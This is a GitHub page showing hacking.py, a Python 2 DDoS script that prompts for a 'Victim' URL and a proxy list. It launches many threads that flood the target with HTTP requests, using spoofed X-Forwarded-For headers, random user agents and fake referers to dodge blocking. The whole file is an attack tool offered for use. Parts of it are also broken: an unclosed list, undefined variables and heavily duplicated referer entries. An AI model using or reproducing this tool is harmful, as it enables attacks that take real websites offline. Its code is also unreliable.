-
Notifications
You must be signed in to change notification settings - Fork 23
/
hacking.py
269 lines (247 loc) · 15 KB
/
hacking.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
#!/usr/bin/env python
#coding: utf8
import random
import socket
import threading
import time
userAgents = [
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)",
"Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)",
"Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00",
"Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14",
"Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14",
"Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
"Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00",
"Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)",
# referers
def referer_list():
global headers_referers
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..')
headers_referers.append('http://vk.com/profile.php?redirect=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=..')
headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')
headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925')
headers_referers.append('http://yandex.ru/yandsearch?text=')
headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832')
headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=')
headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..')
headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..')
headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..')
headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..')
headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..')
headers_referers.append('/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882')
headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..')
headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&e..')
headers_referers.append('http://help.baidu.com/searchResult?keywords=')
#bing
headers_referers.append('http://www.bing.com/search?q=')
headers_referers.append('https://www.yandex.com/yandsearch?text=')
headers_referers.append('https://duckduckgo.com/?q=')
headers_referers.append('http://www.ask.com/web?q=')
headers_referers.append('http://search.aol.com/aol/search?q=')
headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=')
headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
headers_referers.append('http://host-tracker.com/check_page/?furl=')
headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=')
headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
headers_referers.append('https://add.my.yahoo.com/rss?url=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('https://steamcommunity.com/market/search?q=')
headers_referers.append('http://filehippo.com/search?q=')
headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
headers_referers.append('http://eu.battle.net/wow/en/search?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://careers.gatesfoundation.org/search?q=')
headers_referers.append('http://techtv.mit.edu/search?q=')
headers_referers.append('http://www.ustream.tv/search?q=')
headers_referers.append('http://www.ted.com/search?q=')
headers_referers.append('http://funnymama.com/search?q=')
headers_referers.append('http://itch.io/search?q=')
headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
headers_referers.append('https://play.google.com/store/search?q=')
headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
headers_referers.append('http://www.reddit.com/search?q=')
headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
headers_referers.append('http://jobs.leidos.com/search?q=')
headers_referers.append('http://jobs.bloomberg.com/search?q=')
headers_referers.append('https://www.pinterest.com/search/?q=')
headers_referers.append('http://millercenter.org/search?q=')
headers_referers.append('https://www.npmjs.com/search?q=')
headers_referers.append('http://www.evidence.nhs.uk/search?q=')
headers_referers.append('http://www.shodanhq.com/search?q=')
headers_referers.append('http://ytmnd.com/search?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('https://steamcommunity.com/market/search?q=')
headers_referers.append('http://filehippo.com/search?q=')
headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
headers_referers.append('http://eu.battle.net/wow/en/search?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://careers.gatesfoundation.org/search?q=')
headers_referers.append('http://techtv.mit.edu/search?q=')
headers_referers.append('http://www.ustream.tv/search?q=')
headers_referers.append('http://www.ted.com/search?q=')
headers_referers.append('http://funnymama.com/search?q=')
headers_referers.append('http://itch.io/search?q=')
headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
headers_referers.append('https://play.google.com/store/search?q=')
headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
headers_referers.append('http://www.reddit.com/search?q=')
headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
headers_referers.append('http://jobs.leidos.com/search?q=')
headers_referers.append('http://jobs.bloomberg.com/search?q=')
headers_referers.append('https://www.pinterest.com/search/?q=')
headers_referers.append('http://millercenter.org/search?q=')
headers_referers.append('https://www.npmjs.com/search?q=')
headers_referers.append('http://www.evidence.nhs.uk/search?q=')
headers_referers.append('http://www.shodanhq.com/search?q=')
headers_referers.append('http://ytmnd.com/search?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('https://steamcommunity.com/market/search?q=')
headers_referers.append('http://filehippo.com/search?q=')
headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
headers_referers.append('http://eu.battle.net/wow/en/search?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://careers.gatesfoundation.org/search?q=')
headers_referers.append('http://techtv.mit.edu/search?q=')
headers_referers.append('http://www.ustream.tv/search?q=')
headers_referers.append('http://www.ted.com/search?q=')
headers_referers.append('http://funnymama.com/search?q=')
headers_referers.append('http://itch.io/search?q=')
headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
headers_referers.append('https://play.google.com/store/search?q=')
headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
headers_referers.append('http://www.reddit.com/search?q=')
headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
headers_referers.append('http://jobs.leidos.com/search?q=')
headers_referers.append('http://jobs.bloomberg.com/search?q=')
headers_referers.append('https://www.pinterest.com/search/?q=')
headers_referers.append('http://millercenter.org/search?q=')
headers_referers.append('https://www.npmjs.com/search?q=')
headers_referers.append('http://www.evidence.nhs.uk/search?q=')
headers_referers.append('http://www.shodanhq.com/search?q=')
headers_referers.append('http://ytmnd.com/search?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('https://steamcommunity.com/market/search?q=')
headers_referers.append('http://filehippo.com/search?q=')
headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
headers_referers.append('http://eu.battle.net/wow/en/search?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://careers.gatesfoundation.org/search?q=')
headers_referers.append('http://techtv.mit.edu/search?q=')
headers_referers.append('http://www.ustream.tv/search?q=')
headers_referers.append('http://www.ted.com/search?q=')
headers_referers.append('http://funnymama.com/search?q=')
headers_referers.append('http://itch.io/search?q=')
headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
headers_referers.append('https://play.google.com/store/search?q=')
headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
headers_referers.append('http://www.reddit.com/search?q=')
headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
headers_referers.append('http://jobs.leidos.com/search?q=')
headers_referers.append('http://jobs.bloomberg.com/search?q=')
headers_referers.append('https://www.pinterest.com/search/?q=')
headers_referers.append('http://millercenter.org/search?q=')
headers_referers.append('https://www.npmjs.com/search?q=')
headers_referers.append('http://www.evidence.nhs.uk/search?q=')
headers_referers.append('http://www.shodanhq.com/search?q=')
headers_referers.append('http://ytmnd.com/search?q=')
return(headers_referers)
def randomIp():
random.seed()
result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.'
result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
return result
def randomIpList():
random.seed()
res = ""
for ip in xrange(random.randint(2, 8)):
res = res + randomIp() + ", "
return res[0:len(res) - 2]
def randomUserAgent():
return random.choice(userAgents)
def randomReFerer():
return random.choice(reFerers)
class attacco(threading.Thread):
def run(self):
current = x
if current < len(listaproxy):
proxy = listaproxy[current].split(':')
else:
proxy = random.choice(listaproxy).split(':')
useragent = "User-Agent: " + randomUserAgent() + "\r\n"
forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
referer = "Referer: "+ randomReFerer() + url + "?r="+ str(random.randint(1, 1000)) + "\r\n"
httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
while nload:
time.sleep(1)
while 1:
try:
a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
a.connect((proxy[0], int(proxy[1])))
a.send(httprequest)
try:
for i in xrange(3):
a.send(httprequest)
except:
tts = 1
except:
proxy = random.choice(listaproxy).split(':')
#Main
print(" .----. Ddos - Warning Team .----. ")
print("»------(.:. Ddos/Dos With Proxy List.:.)------»")
# Site
url = raw_input("Victim: ")
host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
#Proxy
in_file = open(raw_input("File proxy: "),"r")
proxyf = in_file.read()
in_file.close()
listaproxy = proxyf.split('\n')
#So luong
thread = input("So luong (1000): ")
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
accept = "Accept-Encoding: gzip, deflate\r\n"
connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
nload = 1
x = 0
for x in xrange(thread):
attacco().start()
time.sleep(0.003)
print "Dang chuan bi luong Ddos " + str(x) + "!"
print "Dang Bat Dau Tan Cong..."
nload = 0
while not nload:
time.sleep(1)